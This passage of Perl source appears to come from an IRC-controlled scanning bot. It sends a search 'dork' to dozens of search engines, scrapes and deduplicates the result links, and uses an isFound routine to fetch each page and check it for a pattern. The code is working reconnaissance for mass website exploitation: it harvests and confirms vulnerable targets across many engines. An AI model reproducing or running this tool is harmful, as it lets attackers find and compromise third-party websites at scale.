  2071. if ($engine eq "nova") { my @nova = &nova($dork); push(@total,@nova); }
  2072. if ($engine eq "nadji") { my @nadji = &nadji($dork); push(@total,@nadji); }
  2073. if ($engine eq "goo") { my @goo = &goo($dork); push(@total,@goo); }
  2074. if ($engine eq "uksubmit") { my @uksubmit = &uksubmit($dork); push(@total,@uksubmit); }
  2075. if ($engine eq "excite") { my @excite = &excite($dork); push(@total,@excite); }
  2076. if ($engine eq "amidalla") { my @amidalla = &amidalla($dork); push(@total,@amidalla); }
  2077. if ($engine eq "buscar") { my @buscar = &buscar($dork); push(@total,@buscar); }
  2078. if ($engine eq "sogou") { my @sogou = &sogou($dork); push(@total,@sogou); }
  2079. if ($engine eq "interia") { my @interia = &interia($dork); push(@total,@interia); }
  2080. if ($engine eq "snz") { my @snz = &snz($dork); push(@total,@snz); }
  2081. if ($engine eq "yandex") { my @yandex = &yandex($dork); push(@total,@yandex); }
  2082. if ($engine eq "joeant") { my @joeant = &joeant($dork); push(@total,@joeant); }
  2083. if ($engine eq "terra") { my @terra = &terra($dork); push(@total,@terra); }
  2084. if ($engine eq "youdao") { my @youdao = &youdao($dork); push(@total,@youdao); }
  2085. if ($engine eq "amfibi") { my @amfibi = &amfibi($dork); push(@total,@amfibi); }
  2086. if ($engine eq "bigclique") { my @bigclique = &bigclique($dork); push(@total,@bigclique); }
  2087. if ($engine eq "dancefloor") { my @dancefloor = &dancefloor($dork); push(@total,@dancefloor); }
  2088. if ($engine eq "latina") { my @latina = &latina($dork); push(@total,@latina); }
  2089. if ($engine eq "goojp") { my @goojp = &goojp($dork); push(@total,@goojp); }
  2090. if ($engine eq "yahoohk") { my @yahoohk = &yahoohk($dork); push(@total,@yahoohk); }
  2091. if ($engine eq "setooz") { my @setooz = &setooz($dork); push(@total,@setooz); }
  2092. if ($engine eq "aubing") { my @aubing = &aubing($dork); push(@total,@aubing); }
  2093. if ($engine eq "yahoo7") { my @yahoo7 = &yahoo7($dork); push(@total,@yahoo7); }
  2094. if ($engine eq "gooes") { my @gooes = &gooes($dork); push(@total,@gooes); }
  2095. if ($engine eq "neti") { my @neti = &neti($dork); push(@total,@neti); }
  2096. if ($engine eq "doogate") { my @doogate = &doogate($dork); push(@total,@doogate); }
  2097. if ($engine eq "webwombat") { my @webwombat = &webwombat($dork); push(@total,@webwombat); }
  2098. if ($engine eq "euroseek") { my @euroseek = &euroseek($dork); push(@total,@euroseek); }
  2099. if ($engine eq "alltheweb") { my @alltheweb = &alltheweb($dork); push(@total,@alltheweb); }
  2100. if ($engine eq "mamma") { my @mamma = &mamma($dork); push(@total,@mamma); }
  2101. if ($engine eq "yahoo2") { my @yahoo2 = &yahoo2($dork); push(@total,@yahoo2); }
  2102. if ($engine eq "kvasir") { my @kvasir = &kvasir($dork); push(@total,@kvasir); }
  2103. if ($engine eq "netsprint") { my @netsprint = &netsprint($dork); push(@total,@netsprint); }
  2104. if ($engine eq "saol") { my @saol = &saol($dork); push(@total,@saol); }
  2105. if ($engine eq "lookle") { my @lookle = &lookle($dork); push(@total,@lookle); }
  2106. if ($engine eq "optuszoo") { my @optuszoo = &optuszoo($dork); push(@total,@optuszoo); }
  2107. if ($engine eq "search66") { my @search66 = &search66($dork); push(@total,@search66); }
  2108. if ($engine eq "arrama") { my @arrama = &arrama($dork); push(@total,@arrama); }
  2109. if ($engine eq "excitejp") { my @excitejp = &excitejp($dork); push(@total,@excitejp); }
  2110. if ($engine eq "clix") { my @clix = &clix($dork); push(@total,@clix); }
  2111. if ($engine eq "searchch") { my @searchch = &searchch($dork); push(@total,@searchch); }
  2112. if ($engine eq "cada") { my @cada = &cada($dork); push(@total,@cada); }
  2113. if ($engine eq "ByPass") { my @bypass = &bypass($dork); push(@total,@bypass); }
  2114. @clean = &clean(@total);
  2115. #&msg("$chan","$logo(14$engine0)3 Total:10 (".scalar(@total).")3 Clean:4 (".scalar(@clean).")");
  2116. return @clean;
  2117. }
  2118.  
  2119. #########################################
  2120.  
  2121. sub isFound() {
  2122. my $status = 0;
  2123. my $link = $_[0];
  2124. my $reqexp = $_[1];
  2125. my $res = &get_content($link);
  2126. if ($res =~ /$reqexp/) { $status = 1 }
  2127. return $status;
  2128. }
  2129.  
  2130. sub get_content() {
  2131. my $url = $_[0];
  2132. my $ua = LWP::UserAgent->new(agent => $uagent);
  2133. $ua->timeout(7);
  2134. my $req = HTTP::Request->new(GET => $url);
  2135. my $res = $ua->request($req);
  2136. return $res->content;
  2137. }
  2138.  
  2139. ######################################### SEARCH ENGINE gibla
  2140.  
  2141. sub google() {
  2142. my @list;
  2143. my $key = $_[0];
  2144. for (my $i=0; $i<=500; $i+=10){
  2145. my $search = ("http://www.google.com/search?q=".key($key)."&num=100&filter=0&start=".$i);
  2146. my $res = search_engine_query($search);
  2147. while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  2148. my $link = $1;
  2149. if ($link !~ /google/){
  2150. my @grep = &links($link);
  2151. push(@list,@grep);
  2152. }
  2153. }
  2154. }
  2155. return @list;
  2156. }
  2157. sub gga() {
  2158. my @list;
  2159. my $key = $_[0];
  2160. for (my $i=0; $i<=1000; $i+=100){
  2161. my $search = ("http://www.google.gr/search?q=".key($key)."&num=100&filter=0&start=".$i);
  2162. my $res = search_engine_query($search);
  2163. while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  2164. my $link = $1;
  2165. if ($link !~ /google/){
  2166. my @grep = &links($link);
  2167. push(@list,@grep);
  2168. }
  2169. }
  2170. }
  2171. return @list;
  2172. }
  2173.  
  2174. sub ggb() {
  2175. my @list;
  2176. my $key = $_[0];
  2177. for (my $i=0; $i<=1000; $i+=100){
  2178. my $search = ("http://www.google.pl/search?q=".key($key)."&num=100&filter=0&start=".$i);
  2179. my $res = search_engine_query($search);
  2180. while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  2181. my $link = $1;
  2182. if ($link !~ /google/){
  2183. my @grep = &links($link);
  2184. push(@list,@grep);
  2185. }
  2186. }
  2187. }
  2188. return @list;
  2189. }
  2190.  
  2191. sub ggc() {
  2192. my @list;
  2193. my $key = $_[0];
  2194. for (my $i=0; $i<=1000; $i+=100){
  2195. my $search = ("http://www.google.jp/search?q=".key($key)."&num=100&filter=0&start=".$i);
  2196. my $res = search_engine_query($search);
  2197. while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  2198. my $link = $1;
  2199. if ($link !~ /google/){
  2200. my @grep = &links($link);
  2201. push(@list,@grep);
  2202. }
  2203. }
  2204. }
  2205. return @list;
  2206. }
  2207.  
  2208. sub ggd() {
  2209. my @list;
  2210. my $key = $_[0];
  2211. for (my $i=0; $i<=1000; $i+=100){
  2212. my $search = ("http://www.google.dk/search?q=".key($key)."&num=100&filter=0&start=".$i);
  2213. my $res = search_engine_query($search);
  2214. while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  2215. my $link = $1;
  2216. if ($link !~ /google/){
  2217. my @grep = &links($link);
  2218. push(@list,@grep);
  2219. }
  2220. }
  2221. }
  2222. return @list;
  2223. }
  2224.  
  2225. sub gge() {
  2226. my @list;
  2227. my $key = $_[0];
  2228. for (my $i=0; $i<=1000; $i+=100){
  2229. my $search = ("http://www.google.no/search?q=".key($key)."&num=100&filter=0&start=".$i);
  2230. my $res = search_engine_query($search);
  2231. while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  2232. my $link = $1;
  2233. if ($link !~ /google/){
  2234. my @grep = &links($link);
  2235. push(@list,@grep);
  2236. }
  2237. }
  2238. }
  2239. return @list;
  2240. }
  2241.  
  2242. sub ggf() {
  2243. my @list;
  2244. my $key = $_[0];
  2245. for (my $i=0; $i<=1000; $i+=100){
  2246. my $search = ("http://www.google.fi/search?q=".key($key)."&num=100&filter=0&start=".$i);
  2247. my $res = search_engine_query($search);
  2248. while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  2249. my $link = $1;
  2250. if ($link !~ /google/){
  2251. my @grep = &links($link);
  2252. push(@list,@grep);
  2253. }
  2254. }
  2255. }
  2256. return @list;
  2257. }
  2258. sub ggr() {
  2259. my @list;
  2260. my $key = $_[0];
  2261. for (my $i=0; $i<=1000; $i+=100){
  2262. my $search = ("http://www.google.gr/search?q=".key($key)."&num=100&filter=0&start=".$i);
  2263. my $res = search_engine_query($search);
  2264. while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  2265. my $link = $1;
  2266. if ($link !~ /google/){
  2267. my @grep = &links($link);
  2268. push(@list,@grep);
  2269. }
  2270. }
  2271. }
  2272. return @list;
  2273. }
  2274.  
  2275. sub gpl() {
  2276. my @list;
  2277. my $key = $_[0];
  2278. for (my $i=0; $i<=1000; $i+=100){
  2279. my $search = ("http://www.google.pl/search?q=".key($key)."&num=100&filter=0&start=".$i);
  2280. my $res = search_engine_query($search);
  2281. while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  2282. my $link = $1;
  2283. if ($link !~ /google/){
  2284. my @grep = &links($link);
  2285. push(@list,@grep);
  2286. }
  2287. }
  2288. }
  2289. return @list;
  2290. }
  2291.  
  2292. sub gjp() {
  2293. my @list;
  2294. my $key = $_[0];
  2295. for (my $i=0; $i<=1000; $i+=100){
  2296. my $search = ("http://www.google.jp/search?q=".key($key)."&num=100&filter=0&start=".$i);
  2297. my $res = search_engine_query($search);
  2298. while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  2299. my $link = $1;
  2300. if ($link !~ /google/){
  2301. my @grep = &links($link);
  2302. push(@list,@grep);
  2303. }
  2304. }
  2305. }
  2306. return @list;
  2307. }
  2308.  
  2309. sub gdk() {
  2310. my @list;
  2311. my $key = $_[0];
  2312. for (my $i=0; $i<=1000; $i+=100){
  2313. my $search = ("http://www.google.dk/search?q=".key($key)."&num=100&filter=0&start=".$i);
  2314. my $res = search_engine_query($search);
  2315. while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  2316. my $link = $1;
  2317. if ($link !~ /google/){
  2318. my @grep = &links($link);
  2319. push(@list,@grep);
  2320. }
  2321. }
  2322. }
  2323. return @list;
  2324. }
  2325.  
  2326. sub gno() {
  2327. my @list;
  2328. my $key = $_[0];
  2329. for (my $i=0; $i<=1000; $i+=100){
  2330. my $search = ("http://www.google.no/search?q=".key($key)."&num=100&filter=0&start=".$i);
  2331. my $res = search_engine_query($search);
  2332. while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  2333. my $link = $1;
  2334. if ($link !~ /google/){
  2335. my @grep = &links($link);
  2336. push(@list,@grep);
  2337. }
  2338. }
  2339. }
  2340. return @list;
  2341. }
  2342.  
  2343. sub gfi() {
  2344. my @list;
  2345. my $key = $_[0];
  2346. for (my $i=0; $i<=1000; $i+=100){
  2347. my $search = ("http://www.google.fi/search?q=".key($key)."&num=100&filter=0&start=".$i);
  2348. my $res = search_engine_query($search);
  2349. while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  2350. my $link = $1;
  2351. if ($link !~ /google/){
  2352. my @grep = &links($link);
  2353. push(@list,@grep);
  2354. }
  2355. }
  2356. }
  2357. return @list;
  2358. }
  2359.  
  2360. sub git() {
  2361. my @list;
  2362. my $key = $_[0];
  2363. for (my $i=0; $i<=1000; $i+=100){
  2364. my $search = ("http://www.google.it/search?q=".key($key)."&num=100&filter=0&start=".$i);
  2365. my $res = search_engine_query($search);
  2366. while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  2367. my $link = $1;
  2368. if ($link !~ /google/){
  2369. my @grep = &links($link);
  2370. push(@list,@grep);
  2371. }
  2372. }
  2373. }
  2374. return @list;
  2375. }
  2376.  
  2377. sub gca() {
  2378. my @list;
  2379. my $key = $_[0];
  2380. for (my $i=0; $i<=1000; $i+=100){
  2381. my $search = ("http://www.google.ca/search?q=".key($key)."&num=100&filter=0&start=".$i);
  2382. my $res = search_engine_query($search);
  2383. while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  2384. my $link = $1;
  2385. if ($link !~ /google/){
  2386. my @grep = &links($link);
  2387. push(@list,@grep);
  2388. }
  2389. }
  2390. }
  2391. return @list;
  2392. }
  2393.  
  2394. sub gde() {
  2395. my @list;
  2396. my $key = $_[0];
  2397. for (my $i=0; $i<=1000; $i+=100){
  2398. my $search = ("http://www.google.de/search?q=".key($key)."&num=100&filter=0&start=".$i);
  2399. my $res = search_engine_query($search);
  2400. while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  2401. my $link = $1;
  2402. if ($link !~ /google/){
  2403. my @grep = &links($link);
  2404. push(@list,@grep);
  2405. }
  2406. }
  2407. }
  2408. return @list;
  2409. }
  2410.  
  2411. sub ges() {
  2412. my @list;
  2413. my $key = $_[0];
  2414. for (my $i=0; $i<=1000; $i+=100){
  2415. my $search = ("http://www.google.es/search?q=".key($key)."&num=100&filter=0&start=".$i);
  2416. my $res = search_engine_query($search);
  2417. while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  2418. my $link = $1;
  2419. if ($link !~ /google/){
  2420. my @grep = &links($link);
  2421. push(@list,@grep);
  2422. }
  2423. }
  2424. }
  2425. return @list;
  2426. }
  2427.  
  2428. sub ghk() {
  2429. my @list;
  2430. my $key = $_[0];
  2431. for (my $i=0; $i<=1000; $i+=100){
  2432. my $search = ("http://www.google.hk/search?q=".key($key)."&num=100&filter=0&start=".$i);
  2433. my $res = search_engine_query($search);
  2434. while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  2435. my $link = $1;
  2436. if ($link !~ /google/){
  2437. my @grep = &links($link);
  2438. push(@list,@grep);
  2439. }
  2440. }
  2441. }
  2442. return @list;
  2443. }
  2444.  
  2445. sub gau() {
  2446. my @list;
  2447. my $key = $_[0];
  2448. for (my $i=0; $i<=1000; $i+=100){
  2449. my $search = ("http://www.google.com.au/search?q=".key($key)."&num=100&filter=0&start=".$i);
  2450. my $res = search_engine_query($search);
  2451. while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  2452. my $link = $1;
  2453. if ($link !~ /google/){
  2454. my @grep = &links($link);
  2455. push(@list,@grep);
  2456. }
  2457. }
  2458. }
  2459. return @list;
  2460. }
  2461.  
  2462. sub gro() {
  2463. my @list;
  2464. my $key = $_[0];
  2465. for (my $i=0; $i<=1000; $i+=100){
  2466. my $search = ("http://www.google.ro/search?q=".key($key)."&num=100&filter=0&start=".$i);
  2467. my $res = search_engine_query($search);
  2468. while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  2469. my $link = $1;
  2470. if ($link !~ /google/){
  2471. my @grep = &links($link);
  2472. push(@list,@grep);
  2473. }
  2474. }
  2475. }
  2476. return @list;
  2477. }
  2478.  
  2479. sub gru() {
  2480. my @list;
  2481. my $key = $_[0];
  2482. for (my $i=0; $i<=1000; $i+=100){
  2483. my $search = ("http://www.google.ru/search?q=".key($key)."&num=100&filter=0&start=".$i);
  2484. my $res = search_engine_query($search);
  2485. while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  2486. my $link = $1;
  2487. if ($link !~ /google/){
  2488. my @grep = &links($link);
  2489. push(@list,@grep);
  2490. }
  2491. }
  2492. }
  2493. return @list;
  2494. }
  2495.  
  2496. sub gsi() {
  2497. my @list;
  2498. my $key = $_[0];
  2499. for (my $i=0; $i<=1000; $i+=100){
  2500. my $search = ("http://www.google.si/search?q=".key($key)."&num=100&filter=0&start=".$i);
  2501. my $res = search_engine_query($search);
  2502. while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  2503. my $link = $1;
  2504. if ($link !~ /google/){
  2505. my @grep = &links($link);
  2506. push(@list,@grep);
  2507. }
  2508. }
  2509. }
  2510. return @list;
  2511. }
  2512.  
  2513. sub gpt() {
  2514. my @list;
  2515. my $key = $_[0];
  2516. for (my $i=0; $i<=1000; $i+=100){
  2517. my $search = ("http://www.google.pt/search?q=".key($key)."&num=100&filter=0&start=".$i);
  2518. my $res = search_engine_query($search);
  2519. while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  2520. my $link = $1;
  2521. if ($link !~ /google/){
  2522. my @grep = &links($link);
  2523. push(@list,@grep);
  2524. }
  2525. }
  2526. }
  2527. return @list;
  2528. }
  2529.  
  2530. sub gms() {
  2531. my @list;
  2532. my $key = $_[0];
  2533. for (my $i=0; $i<=100; $i+=10){
  2534. my $search = ("http://www.google.ms/search?q=".key($key)."&num=100&filter=0&start=".$i);
  2535. my $res = search_engine_query($search);
  2536. while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  2537. my $link = $1;
  2538. if ($link !~ /google/){
  2539. my @grep = &links($link);
  2540. push(@list,@grep);
  2541. }
  2542. }
  2543. }
  2544. return @list;
  2545. }
  2546.  
  2547. sub gbi() {
  2548. my @list;
  2549. my $key = $_[0];
  2550. for (my $i=0; $i<=1000; $i+=100){
  2551. my $search = ("http://www.google.bi/search?q=".key($key)."&num=100&filter=0&start=".$i);
  2552. my $res = search_engine_query($search);
  2553. while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  2554. my $link = $1;
  2555. if ($link !~ /google/){
  2556. my @grep = &links($link);
  2557. push(@list,@grep);
  2558. }
  2559. }
  2560. }
  2561. return @list;
  2562. }
  2563.  
  2564. sub gas() {
  2565. my @list;
  2566. my $key = $_[0];
  2567. for (my $i=0; $i<=1000; $i+=100){
  2568. my $search = ("http://www.google.as/search?q=".key($key)."&num=100&filter=0&start=".$i);
  2569. my $res = search_engine_query($search);
  2570. while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  2571. my $link = $1;
  2572. if ($link !~ /google/){
  2573. my @grep = &links($link);
  2574. push(@list,@grep);
  2575. }
  2576. }
  2577. }
  2578. return @list;
  2579. }
  2580.  
  2581. sub tawi() {
  2582. my @list;
  2583. my $key = $_[0];
  2584. for (my $i=0; $i<=1000; $i+=100){
  2585. my $search = ("http://www.google.it/search?q=".key($key)."&num=100&filter=0&start=".$i);
  2586. my $res = search_engine_query($search);
  2587. while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  2588. my $link = $1;
  2589. if ($link !~ /google/){
  2590. my @grep = &links($link);
  2591. push(@list,@grep);
  2592. }
  2593. }
  2594. }
  2595. return @list;
  2596. }
  2597.  
  2598. sub tawia() {
  2599. my @list;
  2600. my $key = $_[0];
  2601. for (my $i=0; $i<=1000; $i+=100){
  2602. my $search = ("http://www.google.ca/search?q=".key($key)."&num=100&filter=0&start=".$i);
  2603. my $res = search_engine_query($search);
  2604. while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  2605. my $link = $1;
  2606. if ($link !~ /google/){
  2607. my @grep = &links($link);
  2608. push(@list,@grep);
  2609. }
  2610. }
  2611. }
  2612. return @list;
  2613. }
  2614.  
  2615. sub tawib() {
  2616. my @list;
  2617. my $key = $_[0];
  2618. for (my $i=0; $i<=1000; $i+=100){
  2619. my $search = ("http://www.google.de/search?q=".key($key)."&num=100&filter=0&start=".$i);
  2620. my $res = search_engine_query($search);
  2621. while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  2622. my $link = $1;
  2623. if ($link !~ /google/){
  2624. my @grep = &links($link);
  2625. push(@list,@grep);
  2626. }
  2627. }
  2628. }
  2629. return @list;
  2630. }
  2631.  
  2632. sub tawic() {
  2633. my @list;
  2634. my $key = $_[0];
  2635. for (my $i=0; $i<=1000; $i+=100){
  2636. my $search = ("http://www.google.es/search?q=".key($key)."&num=100&filter=0&start=".$i);
  2637. my $res = search_engine_query($search);
  2638. while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  2639. my $link = $1;
  2640. if ($link !~ /google/){
  2641. my @grep = &links($link);
  2642. push(@list,@grep);
  2643. }
  2644. }
  2645. }
  2646. return @list;
  2647. }
  2648.  
  2649. sub tawid() {
  2650. my @list;
  2651. my $key = $_[0];
  2652. for (my $i=0; $i<=1000; $i+=100){
  2653. my $search = ("http://www.google.hk/search?q=".key($key)."&num=100&filter=0&start=".$i);
  2654. my $res = search_engine_query($search);
  2655. while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  2656. my $link = $1;
  2657. if ($link !~ /google/){
  2658. my @grep = &links($link);
  2659. push(@list,@grep);
  2660. }
  2661. }
  2662. }
  2663. return @list;
  2664. }
  2665.  
  2666. sub tawie() {
  2667. my @list;
  2668. my $key = $_[0];
  2669. for (my $i=0; $i<=1000; $i+=100){
  2670. my $search = ("http://www.google.com.au/search?q=".key($key)."&num=100&filter=0&start=".$i);
  2671. my $res = search_engine_query($search);
  2672. while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  2673. my $link = $1;
  2674. if ($link !~ /google/){
  2675. my @grep = &links($link);
  2676. push(@list,@grep);
  2677. }
  2678. }
  2679. }
  2680. return @list;
  2681. }
  2682.  
  2683. sub tawif() {
  2684. my @list;
  2685. my $key = $_[0];
  2686. for (my $i=0; $i<=1000; $i+=100){
  2687. my $search = ("http://www.google.ro/search?q=".key($key)."&num=100&filter=0&start=".$i);
  2688. my $res = search_engine_query($search);
  2689. while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  2690. my $link = $1;
  2691. if ($link !~ /google/){
  2692. my @grep = &links($link);
  2693. push(@list,@grep);
  2694. }
  2695. }
  2696. }
  2697. return @list;
  2698. }
  2699.  
  2700. sub tawig() {
  2701. my @list;
  2702. my $key = $_[0];
  2703. for (my $i=0; $i<=1000; $i+=100){
  2704. my $search = ("http://www.google.ru/search?q=".key($key)."&num=100&filter=0&start=".$i);
  2705. my $res = search_engine_query($search);
  2706. while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  2707. my $link = $1;
  2708. if ($link !~ /google/){
  2709. my @grep = &links($link);
  2710. push(@list,@grep);
  2711. }
  2712. }
  2713. }
  2714. return @list;
  2715. }
  2716.  
  2717. sub tawih() {
  2718. my @list;
  2719. my $key = $_[0];
  2720. for (my $i=0; $i<=1000; $i+=100){
  2721. my $search = ("http://www.google.si/search?q=".key($key)."&num=100&filter=0&start=".$i);
  2722. my $res = search_engine_query($search);
  2723. while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  2724. my $link = $1;
  2725. if ($link !~ /google/){
  2726. my @grep = &links($link);
  2727. push(@list,@grep);
  2728. }
  2729. }
  2730. }
  2731. return @list;
  2732. }
  2733.  
  2734. sub tawii() {
  2735. my @list;
  2736. my $key = $_[0];
  2737. for (my $i=0; $i<=1000; $i+=100){
  2738. my $search = ("http://www.google.pt/search?q=".key($key)."&num=100&filter=0&start=".$i);
  2739. my $res = search_engine_query($search);
  2740. while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  2741. my $link = $1;
  2742. if ($link !~ /google/){
  2743. my @grep = &links($link);
  2744. push(@list,@grep);
  2745. }
  2746. }
  2747. }
  2748. return @list;
  2749. }
  2750.  
  2751. sub tawij() {
  2752. my @list;
  2753. my $key = $_[0];
  2754. for (my $i=0; $i<=1000; $i+=100){
  2755. my $search = ("http://www.google.ms/search?q=".key($key)."&num=100&filter=0&start=".$i);
  2756. my $res = search_engine_query($search);
  2757. while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  2758. my $link = $1;
  2759. if ($link !~ /google/){
  2760. my @grep = &links($link);
  2761. push(@list,@grep);
  2762. }
  2763. }
  2764. }
  2765. return @list;
  2766. }
  2767.  
  2768. sub tawik() {
  2769. my @list;
  2770. my $key = $_[0];
  2771. for (my $i=0; $i<=1000; $i+=100){
  2772. my $search = ("http://www.google.bi/search?q=".key($key)."&num=100&filter=0&start=".$i);
  2773. my $res = search_engine_query($search);
  2774. while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  2775. my $link = $1;
  2776. if ($link !~ /google/){
  2777. my @grep = &links($link);
  2778. push(@list,@grep);
  2779. }
  2780. }
  2781. }
  2782. return @list;
  2783. }
  2784.  
  2785. sub rediff() {
  2786. my @list;
  2787. my $key = $_[0];
  2788. for (my $i=0; $i<=500; $i+=10) {
  2789. my $search = ("http://search1.rediff.com/dirsrch/default.asp?MT=".&key($key)."&iss=&submit=Search&firstres=".$i);
  2790. $b = "$i";
  2791. my $res = &search_engine_query($search);
  2792. if ($res !~ /firstres=$b\'>/) {$i=500;}
  2793. while ($res =~ m/<a href=\"http:\/\/(.*?)\" onmousedown/g) {
  2794. if ($1 !~ /rediff\.com/){
  2795. my $link = $1;
  2796. my @grep = &links($link);
  2797. push(@list,@grep);
  2798. }
  2799. }
  2800. }
  2801. return @list;
  2802. }
  2803.  
  2804. sub uol() {
  2805. my @list;
  2806. my $key = $_[0];
  2807. for (my $i=1; $i<=500; $i+=10) {
  2808. my $search = ("http://mundo.busca.uol.com.br/buscar.html?q=".&key($key)."&start=".$i);
  2809. my $res = &search_engine_query($search);
  2810. if ($res !~ m/<span class=\"next\">pr?xima<\/span>/){$i=500;}
  2811. while ($res =~ m/<a href=\"http:\/\/([^>\"]*)/g) {
  2812. if ($1 !~ /uol\.com/) {
  2813. my $link = $1;
  2814. my @grep = &links($link);
  2815. push(@list,@grep);
  2816. }
  2817. }
  2818. }
  2819. return @list;
  2820. }
  2821.  
  2822. sub bing() {
  2823. my @list;
  2824. my $key = $_[0];
  2825. for (my $i=1; $i<=500; $i+=10) {
  2826. my $search = ("http://www.bing.com/search?q=".&key($key)."&filt=all&first=".$i."&FORM=PERE");
  2827. my $res = &search_engine_query($search);
  2828. if ($res =~ m/Ref A:/g && $res =~ m/Ref B:/g && $res =~ m/Ref C:/g) {$i=500;}
  2829. while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  2830. if ($1 !~ /bing\.com/) {
  2831. my $link = $1;
  2832. my @grep = &links($link);
  2833. push(@list,@grep);
  2834. }
  2835. }
  2836. }
  2837. return @list;
  2838. }
  2839.  
  2840. sub bingDE() {
  2841. my @list;
  2842. my $key = $_[0];
  2843. for (my $i=1; $i<=1000; $i+=10) {
  2844. my $search = ("http://www.bing.com/search?q=".key($key)."&cc=de&rf=1&first=".$i."&FORM=PORE");
  2845. my $res = &search_engine_query($search);
  2846. while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  2847. my $link = $1;
  2848. if ($link !~ /msn|live|bingDE/) {
  2849. my @grep = &links($link);
  2850. push(@list,@grep);
  2851. }
  2852. }
  2853. }
  2854. return @list;
  2855. }
  2856.  
  2857. sub bingUK() {
  2858. my @list;
  2859. my $key = $_[0];
  2860. for (my $i=1; $i<=1000; $i+=10) {
  2861. my $search = ("http://www.bing.com/search?q=".key($key)."&cc=uk&rf=1&first=".$i."&FORM=PORE");
  2862. my $res = &search_engine_query($search);
  2863. while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  2864. my $link = $1;
  2865. if ($link !~ /msn|live|bingUK/) {
  2866. my @grep = &links($link);
  2867. push(@list,@grep);
  2868. }
  2869. }
  2870. }
  2871. return @list;
  2872. }
  2873.  
  2874. sub bingCA() {
  2875. my @list;
  2876. my $key = $_[0];
  2877. for (my $i=1; $i<=1000; $i+=10) {
  2878. my $search = ("http://www.bing.com/search?q=".key($key)."&cc=ca&rf=1&first=".$i."&FORM=PORE");
  2879. my $res = &search_engine_query($search);
  2880. while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  2881. my $link = $1;
  2882. if ($link !~ /msn|live|bingCA/) {
  2883. my @grep = &links($link);
  2884. push(@list,@grep);
  2885. }
  2886. }
  2887. }
  2888. return @list;
  2889. }
  2890.  
  2891. sub bingBR() {
  2892. my @list;
  2893. my $key = $_[0];
  2894. for (my $i=1; $i<=1000; $i+=10) {
  2895. my $search = ("http://www.bing.com/search?q=".key($key)."&cc=br&rf=1&first=".$i."&FORM=PORE");
  2896. my $res = &search_engine_query($search);
  2897. while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  2898. my $link = $1;
  2899. if ($link !~ /msn|live|bingBR/) {
  2900. my @grep = &links($link);
  2901. push(@list,@grep);
  2902. }
  2903. }
  2904. }
  2905. return @list;
  2906. }
  2907.  
  2908. sub bingFR() {
  2909. my @list;
  2910. my $key = $_[0];
  2911. for (my $i=1; $i<=1000; $i+=10) {
  2912. my $search = ("http://www.bing.com/search?q=".key($key)."&cc=fr&rf=1&first=".$i."&FORM=PORE");
  2913. my $res = &search_engine_query($search);
  2914. while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  2915. my $link = $1;
  2916. if ($link !~ /msn|live|bingFR/) {
  2917. my @grep = &links($link);
  2918. push(@list,@grep);
  2919. }
  2920. }
  2921. }
  2922. return @list;
  2923. }
  2924.  
  2925. sub bingES() {
  2926. my @list;
  2927. my $key = $_[0];
  2928. for (my $i=1; $i<=1000; $i+=10) {
  2929. my $search = ("http://www.bing.com/search?q=".key($key)."&cc=es&rf=1&first=".$i."&FORM=PORE");
  2930. my $res = &search_engine_query($search);
  2931. while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  2932. my $link = $1;
  2933. if ($link !~ /msn|live|bingES/) {
  2934. my @grep = &links($link);
  2935. push(@list,@grep);
  2936. }
  2937. }
  2938. }
  2939. return @list;
  2940. }
  2941.  
  2942. sub bingIT() {
  2943. my @list;
  2944. my $key = $_[0];
  2945. for (my $i=1; $i<=1000; $i+=10) {
  2946. my $search = ("http://www.bing.com/search?q=".key($key)."&cc=it&rf=1&first=".$i."&FORM=PORE");
  2947. my $res = &search_engine_query($search);
